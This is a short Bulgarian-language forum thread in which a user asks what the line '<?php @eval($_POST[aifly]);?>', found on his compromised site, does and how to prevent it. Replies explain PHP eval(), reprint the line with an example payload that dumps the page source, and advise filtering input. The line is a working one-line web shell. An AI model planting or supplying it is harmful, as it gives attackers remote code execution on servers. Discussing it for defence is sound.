Функция

[Aleksander]

<?php @eval($_POST[aifly]);?> За какво служи това по този начин ми бяха свалили страницата и как мога да го предотвратя ?

 

[emagi]

Функцията eval() оценява даден стринг като php код и ако може го изпълнява!
Тоест ако имаш:

$string = "echo 'try this';";
eval($string);
//try this

 

[lortnoc]

<?php @eval($_POST[aifly]);?> За какво служи това по този начин ми бяха свалили страницата и как мога да го предотвратя ?

<?php

// if $_POST[aifly] ~~ show_source(basename($_SERVER['PHP_SELF'])); exit(0); // примерно идва от форма

@eval($_POST[aifly]); // cool ;p

?>

филтрация на input-а винаги